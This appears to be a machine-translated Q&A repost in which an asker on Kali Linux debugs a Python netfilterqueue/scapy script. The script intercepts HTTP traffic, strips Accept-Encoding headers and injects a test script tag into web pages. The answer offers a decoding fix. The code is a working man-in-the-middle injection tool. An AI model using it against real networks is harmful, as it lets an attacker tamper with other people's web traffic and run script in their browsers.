[英]How to decode data from "scapy_packet [scapy.Raw] .load" into a string for modification?
我正在嘗試編寫一個程序,在</body>
之前將一個小腳本插入 web 頁面。但是存儲在 scapy_packet [scapy.Raw].load 中的數據是字節類型。 我正在嘗試將它們解碼為字符串,但總是出現錯誤:
文件“code_injector.py”,第 21 行,在 process_packet load = load.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe7 in position 0: invalid continuation byte
這是我的代碼:
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].chksum
del packet[scapy.IP].len
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load # load = scapy_packet[scapy.Raw].load.decode()
load = load.decode('utf-8') # load = load.decode('utf-8', 'ignore')
if scapy_packet[scapy.TCP].dport == 80: #HTTP only
print("This is REQUEST")
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
# print(scapy_packet.show())
elif scapy_packet[scapy.TCP].sport == 80:
print("This is RESPONSE")
load = load.replace("</body>", "<script>alert('test');</script></body>")
# print(scapy_packet.show())
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(bytes(new_packet)) # bytes, not string!
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
我試圖忽略該錯誤,但隨后該站點將無法加載。
load = load.decode('utf-8', 'ignore')
其他編碼(不是 utf-8)不起作用
我的 Python 是 Python 3.8
在 Python 2.7 scapy 上不起作用。 在 Python 3.9 上,netfilterqueue 不起作用。 :-(
操作系統 - 卡利 linux。
PS:搜索了足夠的時間后,我認為問題出在兩個開頭的“0x”字符上。
PPS:對不起我的英語...
readable_payload = bytes(packet[TCP].payload).decode('UTF8','replace')
此代碼片段可用於解密簡單的 HTTP traffice。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.